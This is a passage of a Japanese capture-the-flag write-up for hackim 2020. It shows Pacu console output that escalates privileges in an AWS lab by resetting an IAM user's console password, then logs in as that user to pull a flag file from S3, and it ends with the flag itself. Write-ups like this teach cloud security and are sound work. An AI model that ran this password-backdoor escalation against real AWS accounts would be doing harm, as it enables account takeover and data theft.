Pacu (hackim:limited-role) > run iam__privesc_scan Running module iam__privesc_scan... [iam__privesc_scan] No permissions detected yet. [iam__privesc_scan] Data (Current User/Role > Permissions) not found, run module "iam__enum_permissions" to fetch it? (y/n) y [iam__privesc_scan] Running module iam__enum_permissions... [iam__enum_permissions] Confirming permissions for roles: [iam__enum_permissions] limited-role... [iam__enum_permissions] Confirmed permissions for limited-role [iam__enum_permissions] iam__enum_permissions completed. [iam__enum_permissions] MODULE SUMMARY: Confirmed permissions for 0 user(s). Confirmed permissions for role: limited-role. [iam__privesc_scan] Escalation methods for current role: [iam__privesc_scan] CONFIRMED: UpdateLoginProfile [iam__privesc_scan] Attempting confirmed privilege escalation methods... [iam__privesc_scan] Starting method UpdateLoginProfile... [iam__privesc_scan] Is there a specific user you want to target? They must already have a login profile (password for logging into the AWS Console). Enter their user name now or just hit enter to enumerate users and view a list of options: [iam__privesc_scan] Found 1 user(s). Choose a user below. [iam__privesc_scan] [0] Other (Manually enter user name) [iam__privesc_scan] [1] All Users [iam__privesc_scan] [2] poorUser [iam__privesc_scan] Choose an option: 2 [iam__privesc_scan] Running module iam__backdoor_users_password... [iam__backdoor_users_password] Modifying an IAM user's current password [iam__backdoor_users_password] User: poorUser [iam__backdoor_users_password] Password successfully changed [iam__backdoor_users_password] Password: hqw.yE.a##CfW$V3q"npK_"k"/=&d*4UV0MSItR{(ueW}Gd0[(snip) [iam__backdoor_users_password] iam__backdoor_users_password completed. [iam__backdoor_users_password] MODULE SUMMARY: 1 user(s) backdoored. [iam__privesc_scan] iam__privesc_scan completed. [iam__privesc_scan] MODULE SUMMARY: Privilege escalation was successful
変更したパスワードで、AWSの管理コンソールにログインする。
poorUser
の権限を確認するため、まずはpoorUser
が所属しているIAMグループを確認する。
limiteds3g
とlimited2
グループに所属している。それぞれにアタッチされているポリシーを確認する。
limiteds3g
グループにはAmazonS3ReadOnlyAccess
がアタッチされている。
limited2
グループには以下の画像のActionが可能なポリシーがアタッチされている。
S3が読めるようなので、S3の画面に遷移すると、怪しいS3バケットを発見する。
flag.txtを発見!
ダウンロードすると、フラグが書かれていた。
フラグゲット。
hackim20{Hail_RhinoSecurity_labs!!!!}